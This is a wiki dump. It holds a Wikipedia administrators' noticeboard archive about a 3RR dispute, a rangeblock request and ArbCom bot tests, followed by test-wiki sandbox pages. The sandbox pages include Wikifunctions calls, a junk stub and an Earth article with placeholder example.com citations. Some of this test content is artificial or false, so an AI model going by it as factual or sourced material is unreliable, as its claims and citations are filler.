user just deleted Momoland’s (South Korean Girl Group) music show wins from their page. <!-- Template:Unsigned IP --><small class="autosigned">— Preceding [[Wikipedia:Signatures|unsigned]] comment added by [[Special:Contributions/76.174.116.0|76.174.116.0]] ([[User talk:76.174.116.0#top|talk]]) 03:14, 6 April 2019 (UTC)</small> <!--Autosigned by SineBot-->
*{{user|Snowflake91}} wasn't notified about this report, I've notified him now. This appears to have evolved into some moderate puppet-farming, see for example [https://en.wikipedia.org/w/index.php?title=Talk:Momoland&action=history Talk:Momoland] or [https://en.wikipedia.org/w/index.php?title=User_talk:Chubbybangs&action=history User talk:Chubbybangs] for some of the actors. In any event this doesn't belong on [[WP:AN]]. (And if it did, should be on AN/I.) [[User:ST47|ST47]] ([[User talk:ST47|talk]]) 00:25, 7 April 2019 (UTC)
== Clarification of [[WP:3RR]] ==
[[WP:3RR]] says '''An edit or a series of consecutive edits that undoes other editors' actions—whether in whole or in part—counts as a revert.''' <p>{{u|El C}} appears to believe that a user's first edit on a page that undoes other editors' actions—whether in whole or in part— '''''does not''''' count as a revert, which is completely contradictory to that brightline '''policy'''. In fact, making four changes to an article in 24 hours is what famously got {{noping|Winkelvi}} blocked for three months in 2017, and he tried unsuccessfully to argue that he didn't know the first change "counted" [https://en.wikipedia.org/w/index.php?title=User_talk:Winkelvi&oldid=776108087#March_2017]. Can someone please alert El C as to how 3RR works? By the way, {{U|Drmies}} once gave me a lecture via email about the definition of 3RR and how it includes the first change. <p>Also, by the way, could someone look at [[WP:Administrators%27 noticeboard/Edit warring#User:Krimuk2.0 reported by User:Softlavender (Result: No violation)]]? {{U|Krimuk2.0}} is edit-warring (five reverts so far in less than 2 hours [https://en.wikipedia.org/w/index.php?title=Jack_Lowden&diff=891199790&oldid=891189691], [https://en.wikipedia.org/w/index.php?title=Jack_Lowden&diff=next&oldid=891202568], [https://en.wikipedia.org/w/index.php?title=Jack_Lowden&diff=next&oldid=891205115], [https://en.wikipedia.org/w/index.php?title=Jack_Lowden&diff=next&oldid=891206680], [https://en.wikipedia.org/w/index.php?title=Jack_Lowden&diff=next&oldid=891207503]), [[WP:CANVASSING]], and battlegrounding on [[Jack Lowden]], despite a usertalk warning, but El C initially closed it as "no violation", and even with an explanation of and link to 3RR and links to two more reverts by Krimuk2.0, that has not changed. Thank you. [[User:Softlavender|Softlavender]] ([[User talk:Softlavender|talk]]) 12:30, 6 April 2019 (UTC)
:It would include the first edit ''if'' a <u>specific</u> editor's edit would be undone, but that is not the case here. It is merely longstanding text which is partially replaced with a new addition, which [https://en.wikipedia.org/w/index.php?title=Wikipedia:Administrators%27_noticeboard/Edit_warring&oldid=891208259#User:Krimuk2.0_reported_by_User:Softlavender_(Result:_No_violation) I do not count] as a revert. [[User:El_C|El_C]] 12:39, 6 April 2019 (UTC)
::What do you mean by "''if'' a <u>specific</u> editor's edit would be undone"? 3RR reads: '''An edit or a series of consecutive edits that undoes other editors' actions—whether in whole or in part—counts as a revert.''' Any change to existing text in an article by definition undoes other editors' actions in whole or in part; there is no getting around that. And 3RR does not specify any loopholes. [[User:Softlavender|Softlavender]] ([[User talk:Softlavender|talk]]) 12:49, 6 April 2019 (UTC)
:::A removal of text isn't automatically a revert, is what I'm saying. [[User:El_C|El_C]] 12:56, 6 April 2019 (UTC)
::::For the purposes of 3RR, ''any'' removal of text '''''is indeed''''' a revert; that is precisely why [[WP:3RR]] is worded precisely that way. [[User:Softlavender|Softlavender]] ([[User talk:Softlavender|talk]]) 13:04, 6 April 2019 (UTC)
:::::I disagree that that first edit constituted a revert. [[User:El_C|El_C]] 13:07, 6 April 2019 (UTC)
:In context, I do not think the first series of edits to the lede constitute a revert. These appear to be bold changes.[[Special:diff/891189691|This]] is a really grating type of revert. Bold changes don't need prior discussion. Beyond this, Krimuk2.0 should self-revert to the status quo. Discuss possible improvements to the lede on the talk page, and then implement them. [[User:Mr rnddude|Mr rnddude]] ([[User talk:Mr rnddude|talk]]) 13:05, 6 April 2019 (UTC)
::{{noping|Mr rnddude}}, [[WP:3RR]] says '''An edit or a series of consecutive edits that undoes other editors' actions—whether in whole or in part—counts as a revert.''' It does not exempt the first time that occurs. You might think it does, but it does not. A change to existing article text undoes other editors' actions by definition; there's no getting around that. [[User:Softlavender|Softlavender]] ([[User talk:Softlavender|talk]]) 13:12, 6 April 2019 (UTC)
:::Both [[WP:BOLD]] and [[WP:BRD]] would disagree with the "a change to existing article text" interpretation. From BRD: {{tq|Be bold, and make what you currently believe to be the optimal changes based on your best effort. Your change might involve re-writing, rearranging, adding or removing information}}. Not all removals and changes are reverts. [[User:Mr rnddude|Mr rnddude]] ([[User talk:Mr rnddude|talk]]) 13:45, 6 April 2019 (UTC)
:{{nacmt}} I agree with {{np|El_C|Mr rnddude}}'s interpretations and believe the wording of the policy should be amended via RfC if necessary. [[User:Alpha3031|Alpha3031]] ([[User talk:Alpha3031|t]] • [[Special:Contributions/Alpha3031|c]]) 14:44, 6 April 2019 (UTC)
::For what it's worth, I agree with El_C's interpretation as well. A revert is pretty simply defined as an edit that undoes another edit. It has nothing to do with if it's your first edit on the page or not. [https://en.wikipedia.org/w/index.php?title=Jack_Lowden&type=revision&diff=891041920&oldid=889815751 This] is not a revert, it is a change that's being made for the first time. (On the other hand, [https://en.wikipedia.org/w/index.php?title=Jack_Lowden&diff=next&oldid=891041920 Softlavender's first edit in the war] ''does'' count as a revert, because it ''is'' a revert.) Also, [https://en.wikipedia.org/w/index.php?title=Jack_Lowden&diff=next&oldid=891206680] and [https://en.wikipedia.org/w/index.php?title=Jack_Lowden&diff=next&oldid=891207503] definitely aren't reverts. I don't think there's any need for an RfC, as I'd be surprised if you could find any admin who would consider those reverts. [[User:ST47|ST47]] ([[User talk:ST47|talk]]) 22:53, 6 April 2019 (UTC)
*No need to ping me about something I may have emailed you at one time, Softlavender. [[User:Drmies|Drmies]] ([[User talk:Drmies|talk]]) 21:20, 6 April 2019 (UTC)
== Deletion ==
The deletion of [[2019 Kashmir airstrikes]] citing A10 suggests [[WP:BIAS]] within this highly controversial topic area. How about deleting [[2019 Balakot airstrike]] for the same reason to make it even? Or better still restore the former and let the AfD decide if someone has issue with its existence. [[Special:Contributions/110.93.250.2|110.93.250.2]] ([[User talk:110.93.250.2|talk]]) 13:15, 6 April 2019 (UTC)
: We don't speedy delete articles to score political points. We delete articles according to the [[WP:CSD|criteria for speedy deletion]]. If you want a deleted article to be undeleted, contact the admin who deleted it. If that admin declines to undelete the article, go to [[WP:DRV|deletion review]] and ask there. However, articles about an India-Pakistan conflict are now under [[WP:GS|general sanctions]] that [[WP:GS/IPAK|prohibit anyone from editing them]] unless they are [[WP:XCON|extended confirmed]]. In short, that means no IP editors are allowed to edit an article about a conflict between India and Pakistan. [[User:NinjaRobotPirate|NinjaRobotPirate]] ([[User talk:NinjaRobotPirate|talk]]) 13:50, 6 April 2019 (UTC)
== Edit summary vandalism ==
Would someone please remove the lengthy nonsense edit summary [https://en.wikipedia.org/w/index.php?title=Darkness&type=revision&diff=891105488&oldid=891046233 here], as it remains highly visible in page history[[User:Bhunacat10|: <b style="color:seagreen">Bhunacat10</b>]] [[User talk:Bhunacat10|<span style="color:seagreen"> (talk),</span> ]] 14:36, 6 April 2019 (UTC)
:{{done}} —[[User:DoRD|DoRD]] ([[User talk:DoRD|talk]]) 16:15, 6 April 2019 (UTC)
== Range block assist ==
Hi all, rangeblocks intimidate me. That said, over the last few months (maybe since February) several Indian entertainment articles have been hit by an Indonesia-based vandal. If you look at the edit history of [https://en.wikipedia.org/w/index.php?title=Thapki_Pyar_Ki&action=history Thapki Pyar Ki] and set your results to 500, you'll see the extent of the problem. Some examples:[https://en.wikipedia.org/w/index.php?title=Thapki_Pyar_Ki&diff=891281961&oldid=890983362][https://en.wikipedia.org/w/index.php?title=Thapki_Pyar_Ki&type=revision&diff=890982960&oldid=890596662][https://en.wikipedia.org/w/index.php?title=Thapki_Pyar_Ki&type=revision&diff=890592451&oldid=890210054][https://en.wikipedia.org/w/index.php?title=Thapki_Pyar_Ki&type=revision&diff=888331098&oldid=888271303] Often there's numerical vandalism, changing numbers to 9999 and such. Here are some of the IPs used, in numerical order:
* 182.1.66.127
* 182.1.74.209
* 182.1.76.106
* 182.1.77.62
* 182.1.77.195
* 182.1.92.122
* 182.1.94.78
* 182.1.95.23
* 182.1.101.220
* 182.1.102.151
* 182.1.104.10
* 182.1.106.198
* 182.1.123.108
Can someone please set up a rangeblock or two to cover these, if possible? Thanks, [[User:Cyphoidbomb|Cyphoidbomb]] ([[User talk:Cyphoidbomb|talk]]) 00:35, 7 April 2019 (UTC)
:Looks like [https://en.wikipedia.org/wiki/Special:Contributions/182.1.64.0/18 182.1.64.0/18] would cover all of that in one block. I don't see much collateral damage in terms of logged out users, have a look at the contribs and see what you think. It looks like [[Thapki Pyar Ki]] is the biggest target, can we just semi-protect that? [[User:ST47|ST47]] ([[User talk:ST47|talk]]) 00:50, 7 April 2019 (UTC)
::{{ping|ST47}} Thanks for the assist on this. It's not just Thapki Pyar Ki, it's [[:Porus (TV series)]], [[:List of programs broadcast by Colors]], [[:Mahakali — Anth Hi Aarambh Hai]] and some others. Also, I don't typically mind leaving a honeypot to make it easier to spot these people. I'm not seeing a whole lot in the way of constructive edits from this range, so I'll likely block. Thanks, [[User:Cyphoidbomb|Cyphoidbomb]] ([[User talk:Cyphoidbomb|talk]]) 01:59, 7 April 2019 (UTC)
== Test announcement ==
The Arbitration Committee has resolved by [[Special:Permalink/890994939#Motion:_India-Pakistan|motion]] that:
{{ivmbox|1={{u|SheriffIsInTown}}'s [https://en.wikipedia.org/w/index.php?title=User_talk%3ASheriffIsInTown&type=revision&diff=841345083&oldid=841015004 topic ban] from pages related to conflict between India and Pakistan is lifted, subject to a probationary period lasting six months from the date this motion is enacted. During this period, any uninvolved administrator may re-impose the topic ban as an arbitration enforcement action, subject to appeal only to the Arbitration Committee. If the probationary period elapses without incident, the topic ban is to be considered permanently lifted.}}
For the Arbitration Committee, [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 04:18, 7 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Test announcement]]'''<!-- [[User:Arbitration Bot|Arbitration Bot]] ([[User talk:Arbitration Bot|talk]]) 20:15, 7 April 2019 (UTC) --><!--Template:hes-->
== Motion: Conduct of Mister Wiki editors 2 ==
The Arbitration Committee has resolved by [[Special:Permalink/888388781#Motion:_Conduct_of_Mister_Wiki_editors|motion]] that:
{{ivmbox|[[Wikipedia:Arbitration/Requests/Case/Conduct of Mister Wiki editors#Salvidrim! prohibited_(II)|Remedy 2.1]] of the {{RFARlinks|Conduct of Mister Wiki editors}} (Salvidrim's prohibition from reviewing articles for creation drafts) is rescinded. He may apply for use of the AfC helper script as usual at [[Wikipedia talk:WikiProject Articles for creation/Participants]].
}}
For the Arbitration Committee --[[User:Cameron11598|Cameron<sub><small>11598</small></sub>]] <sup>[[User Talk:Cameron11598|(Talk)]] </sup> 06:33, 19 March 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Motion: Conduct of Mister Wiki editors 2]]'''<!-- [[User:Arbitration Bot|Arbitration Bot]] ([[User talk:Arbitration Bot|talk]]) 20:15, 7 April 2019 (UTC) --><!--Template:hes-->
== Test: AN protected ==
This should continue to retry until AN is unprotected, at which point this page will be updated. [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 20:13, 7 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Test: AN protected]]'''<!-- [[User:Arbitration Bot|Arbitration Bot]] ([[User talk:Arbitration Bot|talk]]) 20:15, 7 April 2019 (UTC) --><!--Template:hes-->
== Another test: AN protected ==
Testing error logging facilities. [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 21:03, 7 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Another test: AN protected]]'''<!-- [[User:Arbitration Bot|Arbitration Bot]] ([[User talk:Arbitration Bot|talk]]) 21:05, 7 April 2019 (UTC) --><!--Template:hes-->
== Test: now with a bot flag ==
This is another test of the crossposting bot. [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 03:25, 8 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Test: now with a bot flag]]'''<!-- [[User:Arbitration Bot|Arbitration Bot]] ([[User talk:Arbitration Bot|talk]]) 03:26, 8 April 2019 (UTC) --><!--Template:hes-->
== Test: now with a bot flag 2 ==
Trying that again. [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 03:25, 8 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Test: now with a bot flag 2]]'''<!-- [[User:Arbitration Bot|Arbitration Bot]] ([[User talk:Arbitration Bot|talk]]) 03:28, 8 April 2019 (UTC) --><!--Template:hes-->
== Testing after rename ==
This is a test after the account was renamed. [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 05:00, 8 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Testing after rename]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 05:00, 8 April 2019 (UTC) --><!--Template:hes-->
== New test ==
This is another test. [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 05:22, 8 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#New test]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 05:23, 8 April 2019 (UTC) --><!--Template:hes-->
== Motion: Palestine-Israel articles 3 ==
The Arbitration Committee has resolved by [[Special:Permalink/887668566#Motion: Palestine-Israel articles|motion]] that:
{{ivmbox|The [[Wikipedia:Requests for arbitration/Palestine-Israel articles#General 1RR restriction|General 1RR prohibition]] of the {{RFARlinks|Palestine-Israel articles}} is amended to read:
:Each editor is limited to one revert per page per 24 hours on any page that could be reasonably construed as being related to the Arab-Israeli conflict. Reverts made to enforce the [[WP:ARBPIA3|General Prohibition]] are exempt from the provisions of this motion. Also, the [[WP:3RRNO|normal exemptions apply]]. Editors who violate this restriction may be blocked by any uninvolved administrator, even on a first offense. <ins>This remedy may only be enforced on pages with the {{tl|ARBPIA 1RR editnotice}} edit notice.
The community is encouraged to place the {{tl|ARBPIA 1RR editnotice}} on any page that could be reasonably construed as being related to the Arab-Israeli conflict.</ins>}}
For the Arbitration Committee, <span style="font-weight:bold;color:darkblue">[[User_talk:Bradv|Brad''v'']]</span>[[Special:Contributions/Bradv|<span style="color:red">🍁</span>]] 02:46, 14 March 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Motion: Palestine-Israel articles 3]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 05:26, 8 April 2019 (UTC) --><!--Template:hes-->
== Bot testing ==
This entry will ping [[User:Barkeep49]]. [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 14:13, 8 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Bot testing]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 14:15, 8 April 2019 (UTC) --><!--Template:hes-->
== Crossposting test ==
{{ivmbox|This one will attempt to crosspost to [[User:Barkeep49]], but will fail because the talk page is protected. The error will be ignored and the rest of the task will carry out correctly.}} [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 14:44, 8 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Crossposting test]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 14:44, 8 April 2019 (UTC) --><!--Template:hes-->
== New crosspost test ==
{{ivmbox|This post should crosspost to {{u|Barkeep49}}, even though the links to his userpage go through a template.}} blah blah blah [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 22:47, 8 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#New crosspost test]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 22:47, 8 April 2019 (UTC) --><!--Template:hes-->
== Yet another test ==
This is yet another test. [[User:Bradv|Bradv]] ([[User talk:Bradv|talk]]) 02:52, 11 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Yet another test]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 02:53, 11 April 2019 (UTC) --><!--Template:hes-->== Test ==
This is a test. – <span style="font-weight:bold;color:darkblue">[[User_talk:Bradv|brad''v'']]</span>[[Special:Contributions/Bradv|<span style="color:red">🍁</span>]] 04:17, 15 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Test]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 04:19, 15 April 2019 (UTC) --><!--Template:hes-->
== Test ==
This is a test. – <span style="font-weight:bold;color:darkblue">[[User_talk:Bradv|brad''v'']]</span>[[Special:Contributions/Bradv|<span style="color:red">🍁</span>]] 04:17, 15 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Test]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 04:23, 15 April 2019 (UTC) --><!--Template:hes-->
== [[User:Bradv redirect|Bradv redirect]] test ==
This edit should post on the redirected talk page for [[User:Bradv redirect]]. – <span style="font-weight:bold;color:darkblue">[[User_talk:Bradv|brad''v'']]</span>[[Special:Contributions/Bradv|<span style="color:red">🍁</span>]] 04:36, 15 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#Bradv redirect test]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 04:37, 15 April 2019 (UTC) --><!--Template:hes-->
== redirect test 2 ==
This one should also post on the redirected talk page for [[User:Bradv redirect]]. The double-redirect scenario in the previous test was successful. – <span style="font-weight:bold;color:darkblue">[[User_talk:Bradv|brad''v'']]</span>[[Special:Contributions/Bradv|<span style="color:red">🍁</span>]] 04:41, 15 April 2019 (UTC)
: Discuss this at: '''[[Wikipedia talk:Arbitration Committee/Noticeboard#redirect test 2]]'''<!-- [[User:ArbClerkBot|ArbClerkBot]] ([[User talk:ArbClerkBot|talk]]) 04:42, 15 April 2019 (UTC) --><!--Template:hes-->
== Request for adminship ==
I don't know if this is the right place to request this, but may I become a test admin on Test Wikipedia? --[[User:AJ1m3,zsd.|<span style="color:#0000FF">'''AJ''' 😃</span>]] ( [[User talk:AJ1m3,zsd.|💬]] • [[Special:Contributions/AJ1m3,zsd.|📝]] ) 20:54, 2 December 2020 (UTC)
== [[User:Fuck|Fuck]] ([[User talk:Fuck|discussion]] - [[Special:Contributions/Fuck|contribution]]) ==
Delete his user page, please. [[Special:Contributions/79.166.210.218|79.166.210.218]] 12:26, 20 October 2022 (UTC)
== Deletion request ==
Could someone please delete my user page? [[User:ClydeFranklin|ClydeFranklin]] ([[User talk:ClydeFranklin|talk]]) 04:13, 17 September 2023 (UTC)
avh7efez3h8g825ctom3svenn7y8q7p
Klm
0
108837
768289
648078
2026-10-13T15:40:14Z
~2026-55288-12
76172
test
768289
wikitext
text/x-wiki
{{Sao bài viết tốt |phiên bản được chọn=424300}}
test
{{Sao bài viết tốt |phiên bản được chọn=648071}}
newtest
f4c50f2agp5qu5uz4gh14358vxxmu0r
Sandbox7
0
122868
768285
676654
2026-10-13T15:13:39Z
~2026-55282-72
76168
test
768285
wikitext
text/x-wiki
{{Infobox settlement
|name=Čermákovice
|settlement_type=Municipality
|image_skyline=|image_shield=|image_flag=
|subdivision_type=Country
|subdivision_name={{CZE}}
|subdivision_type1=[[Regions of the Czech Republic|Region]]
|subdivision_name1=[[South Moravian Region|South Moravian]]
|subdivision_type2=[[Districts of the Czech Republic|District]]
|subdivision_name2=[[Znojmo District|Znojmo]]
|coordinates = {{coord|49|1|33|N|16|11|44|E|region:CZ|display=inline,title}}
|pushpin_map=Czech Republic|area_total_km2=5.33
|population_total=95|population_as_of=2006
|population_density_km2=auto
|elevation_m=361
|postal_code_type=Postal code|postal_code=671 73
}}
test
'''Čermákovice''' is a village and municipality (''[[obec]]'') in [[Znojmo District]] in the [[South Moravian Region]] of the Czech Republic.
The municipality covers an area of {{convert|5.33|km2|sqmi}}, and has a population of 95 (as of 3 July 2006).
Čermákovice lies approximately {{convert|23|km|mi|0}} north-east of [[Znojmo]], {{convert|37|km|mi|0|abbr=on}} south-west of [[Brno]], and {{convert|175|km|mi|0|abbr=on}} south-east of [[Prague]]. The okytná River flows nearby.
==References==
*[http://www.czso.cz/lexikon/mos_vdb.nsf/okresy/CZ0627/ Czech Statistical Office: Municipalities of Znojmo District]
21zafby09jpzcp3s759rnhckaojkvzp
User:SongVĩ.Bot II
2
124239
768319
768199
2026-10-13T17:00:23Z
SongVĩ.Bot II
52414
[[User:SongVĩ.Bot II|Task 0]]: Đã 1751 ngày...
768319
wikitext
text/x-wiki
Cập nhật lần cuối: 14-10-2026
Đã 1751 ngày...
2vlc5tv9xb228zboly53p1yn2e1sdlp
Mavetuna11
0
147758
768287
767388
2026-10-13T15:38:45Z
~2026-54953-41
76170
768287
wikitext
text/x-wiki
Test123 Oct09/2026 Test anon on Oct13/2026
== Basic test ==
{{#function:Z801|Hello, this should be working; but is it actually? Yes.}}
== Text-changing tests ==
{{#function:Z10251|Is this a bit shouty in title case?}}
{{#function:Z10251|hello from the other side}}
TEST123
== Number tests ==
What is smaller, 6 or a dozen? {{#function:Z13633|12|6}}.
What is 2+2? {{#function:Z13521|2|2}}.
What is 2.0+2.0? {{#function:Z20849|2.0|2.0}}.
== Date test ==
We have been working on Wikifunctions for: {{#function:Z20756|2020-06-27|2025-04-15}}. Temp account are tempting
== Function test ==
The first Monday in November 2025 will be: {{#function:Z17506|Z17403|Z16111|2025}}. In total, there will be {{#function:Z17536|2025|Z17403}} Mondays in 2025, unlike 2024 when there were {{#function:Z17536|2024|Z17403}}.
How many inches is 25.4cm? {{#function:Z18453|25.4}} inches.
Monaco has a population of 38,367 in 2.08 km<sup>2</sup>, for a density of: {{#function:Z22322|38367|2.08}} people/km<sup>2</sup>.
A marathon is {{#function:Z21121|42.195|km|mi|1|Z41|Z41|Z1002}}.
10 miles is {{#function:Z18428|10}} kilometers.
=== Tests ===
* {{#function:Z13473|2398293}}
* {{#function:Z18428|500.0}} kilometers
* {{#function:Z11022|21}}. Century
* {{#function:Z22322|23445|65.4}} people per square kilometer
* {{#function:Z10018|shout!}}
* Supercalifragilisticexpialidocious has {{#function:Z11040|Supercalifragilisticexpialidocious}} letters
== Example error ==
Function that doesn't exist:
{{#function:Z0|asdas}}
Function with the wrong number of arguments:
{{#function:Z801|foo|bar}}
Function with the wrong Type of arguments:
{{#function:Z802|foo|bar|baz}}
nfi4ogbwuwgbqvp3tzqliyuk2y1n4yd
East Germany–Zanzibar relations
0
147914
768290
553277
2026-10-13T15:45:22Z
~2026-54871-37
76173
i like to test stuff
768290
wikitext
text/x-wiki
This is an American topic. Maybe?
tjj7vl8l94zda2ezhf1ht10vximqn5s
Earth
0
154737
768361
754778
2026-10-14T06:20:41Z
Ponor
47975
[[:en:User_talk:Joeytje50/JWB#c-Shabe-20261002233300-apostrophe_matched_instead_of_code]]
768361
wikitext
text/x-wiki
{{Ambox
| name = {{{name|More citations needed}}}
| small = {{#if:{{{small|}}}|left}}
| type = content
| class = ambox-Refimprove
| image = [[File:Question book-new.svg|40x40px|alt=]]
| issue = This {{#if:{{{1|}}}|{{{1}}}|article}} '''needs additional citations for [[Wikipedia:Verifiability|verification]]'''.
| removalnotice = yes
| talk = {{{talk|}}}
| date = {{{date|}}}
| cat = Articles needing additional references
| all = All articles needing additional references
}}
'''''Earth''''' is the third [[planet]] from the [[Sun]].<ref name="oedearth">{{cite book|title=Oxford English Dictionary|edition=3|chapter=earth, ''n.¹''|publisher=[[Oxford University Press]]|place=[[Oxford, England|Oxford]], England|year=2010|isbn=978-0-19-957112-3|doi=10.1093/acref/9780199571123.001.0001}}</ref> Earth is the only [[astronomical object]] known to [[Planetary habitability|harbor life]].<ref>{{Cite web |url=https://example.com |title=Example on Earth}}</ref> This is enabled by Earth being an [[ocean world]], the only one in the [[Solar System]] sustaining liquid [[surface water]]. The Modern English name developed from an Old English noun eorðe.{{cn}}
Historically, "Earth" has been written in lowercase.<ref name=":0" details="Chapter 4" /> Beginning with the use of [[Early Middle English]], its [[Definite article|definite sense]] as "the globe" was expressed as "the earth". By the era of [[Early Modern English]], [[Capitalization in English#History of English capitalization|capitalization of nouns began to prevail]], and ''the earth'' was also written ''the Earth'', particularly when referenced along with other heavenly bodies. More recently, the name is sometimes simply given as ''Earth'', by analogy with the names of the [[Solar System|other planets]], though "earth" and forms with "the earth" remain common.<ref name="oedearth" /> [[Style guide|House styles]] now vary: [[Oxford spelling]] recognizes the lowercase form as the more common, with the capitalized form an acceptable variant. another convention capitalizes "Earth" when appearing as a name, such as a description of the "Earth's atmosphere", but employs the lowercase when it is preceded by "the", such as "the atmosphere of the earth"). It almost always appears in lowercase in colloquial expressions such as "what on earth are you doing?"<ref name=":1" />
[[File:The_Mysterious_Case_of_the_Disappearing_Dust.jpg|link=https://en.wikipedia.org/wiki/File:The_Mysterious_Case_of_the_Disappearing_Dust.jpg|thumb|A depiction of the early [[:en:Solar_System|Solar System]]'s [[:en:Protoplanetary_disk|protoplanetary disk]] from which Earth and other Solar System bodies were formed]]
almost all of Earth's [[water]] is contained in its global ocean, covering [[Water distribution on Earth|71%]] of [[Earth's crust]].
Earth has a [[atmosphere of Earth|dynamic atmosphere]], which sustains Earth's surface conditions and protects it from most [[meteoroid]]s and [[Ozone layer|UV-light at entry]]. It has a composition of primarily [[nitrogen]] and [[oxygen]]. [[Water vapor]] is widely present in the atmosphere, [[Cloud#Formation|forming clouds]] that cover most of the planet. The water vapor acts as a [[greenhouse gas]] and, together with other greenhouse gases in the atmosphere creates the conditions for both liquid surface water and water vapor to persist via the capturing of [[Solar irradiance|energy from the Sun's light]].<ref name=":0" details="Chapter 3" />
This process maintains the current average surface temperature of {{convert|14.8|C|F}}, at which water is liquid under normal atmospheric pressure. Differences in the amount of captured energy between geographic regions (as with the [[equatorial region]] receiving more sunlight than the polar regions) drive [[atmospheric circulation|atmospheric]] and [[ocean current]]s, producing a global [[climate system]] with different [[climate region]]s, and a range of weather phenomena such as [[precipitation]], allowing components such as [[Nitrogen cycle|nitrogen]] to [[Biogeochemical cycle|cycle]].
[[File:NASA-EarlyEarth-PaleOrangeDot-20190802.jpg|link=https://en.wikipedia.org/wiki/File:NASA-EarlyEarth-PaleOrangeDot-20190802.jpg|thumb|''Pale orange dot'', an impression of [[:en:Early_Earth|Early Earth]], featuring its tinted orange [[:en:Methane|methane]]-rich [[:en:Prebiotic_atmosphere|early atmosphere]]<ref name="Trainer Pavlov DeWitt Jimenez pp. 18035–18042">{{cite journal |last1=Trainer |first1=Melissa G. |last2=Pavlov |first2=Alexander A. |last3=DeWitt |first3=H. Langley |last4=Jimenez |first4=Jose L. |last5=McKay |first5=Christopher P. |last6=Toon |first6=Owen B. |last7=Tolbert |first7=Margaret A. |display-authors=1 |date=28 November 2006 |title=Organic haze on Titan and the early Earth |journal=Proceedings of the National Academy of Sciences |volume=103 |issue=48 |pages=18035–18042 |doi=10.1073/pnas.0608561103 |issn=0027-8424 |pmc=1838702 |pmid=17101962 |doi-access=free}}</ref>]]
Earth is [[Hydrostatic equilibrium|rounded]] into [[Earth ellipsoid|an ellipsoid]] with [[Earth's circumference|a circumference]] of about 40,000 km. It is the [[List of Solar System objects by size|densest planet in the Solar System]]. Of the four [[Terrestrial planet|rocky planets]], it is the largest and most massive. The remaining 29% of the crust is land, most of which is located in the form of [[continent]]al [[landmass]]es within Earth's [[land hemisphere]].{{Cite web |title=Mother Earth |url=https://example.com}}
Most of Earth's land is somewhat [[humid]] and covered by vegetation, while large [[Ice sheet|ice sheets]] at [[Earth's polar regions|Earth's polar]] [[desert]]s retain more water than Earth's [[groundwater]], [[lake]]s, rivers and [[Water vapor#In Earth's atmosphere|atmospheric water]] combined. Earth's crust consists of slowly moving [[Plate tectonics|tectonic plates]], which interact to produce [[mountain range]]s, [[volcano]]es, and [[earthquake]]s. [[Earth's outer core|Earth has a liquid outer core]] that generates a [[magnetosphere]] capable of deflecting most of the destructive [[solar wind]]s and [[cosmic particles]]. Earth is about eight [[light-minute]]s away from the Sun and [[Earth's orbit|orbits it]], taking a year (about 365.25 days) to complete one revolution. [[Earth's rotation|Earth rotates]] around its own axis in slightly less than a day (in about 23 hours and 56 minutes). [[Earth#axial tilt and seasons|Earth's axis of rotation]] is tilted with respect to the perpendicular to its orbital plane around the Sun, producing [[season]]s.
Earth is [[orbit]]ed by one [[Claimed moons of Earth|permanent]] [[natural satellite]], the [[Moon]], which [[orbit]]s Earth at 384,400 km (1.28 light seconds) and is roughly a quarter as wide as Earth. The Moon's gravity helps stabilize Earth's axis, causes [[tide]]s and [[Tidal acceleration|gradually slows Earth's rotation]]. [[Tidal locking]] has made the Moon always face Earth with the same side.
